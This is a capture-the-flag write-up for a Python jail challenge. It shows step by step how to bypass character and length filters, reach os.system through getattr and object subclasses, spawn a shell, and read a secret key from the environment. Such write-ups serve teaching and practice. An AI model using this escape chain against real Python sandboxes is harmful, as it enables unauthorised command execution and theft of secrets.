Tags: pyjail 

Rating:

hell_of_a_jail

We are in a Python jail, which tells us we need to call exit() with a parameter to escape. After trying a few things, we run into several restrictions:

  • commands longer than 12 characters are truncated,
  • . characters are filtered out,
  • __ are filtered out (but not _),
  • we cannot use ", and
  • almost no functions we try work and we cannot import anything.

The underscore and period filtering are applied in the wrong order, so we can bypass the underscore check and read __builtins__ by running:

>>> _._builtins_._
{'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>}

Now we know that we have getattr available, which lets us avoid using . to access attributes. We can start from a simple tuple object (()), climb up the hierarchy to get to the object class and see which subclasses we can work with here. To avoid the 12-character limit, we will alias everything to single-character names and use variables to store long string parameters:

e=exit
p=print
u='_._'
c=u+'class'+u
b=u+'base'+u
s=u+'subcla'
s=s+'sses'+u
t=g((),c)  # ().__class__
o=g(t,b)   # ... .__base__
x=g(o,s)   # ... .__subclasses__

Now, if we print x(), we will see a list of classes we can reach. One interesting option is os._wrap_close, which will let us access the os module to get to system. It is at index 127, so:

w=x()[127]     # os._wrap_close
i=u+'init'+u
l=u+'glob'
l=l+'als'+u
z=g(w,i)       # ... .__init__
a=g(z,l)       # ... .__globals__
s=a['system']  # ... ['system']

Now all that remains is to call s('sh') to get a shell. This lets us read the compiled jail shell jail.pyc, which we can decompile using uncompyle6 and read the exit() check:

def exit(arg):
    """Must invoke with the right arg in order to get the flag."""
    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
        print('Oh no ! You managed to escape\nValidate with the key')
        return sys.exit(0)
    print('Wrong key')

All that remains is to read the key from the environment variable. Since we already have a shell available, we can just run env and get the flag.

Original writeup (https://de298.user.srcf.net/writeups/insa/jail.html).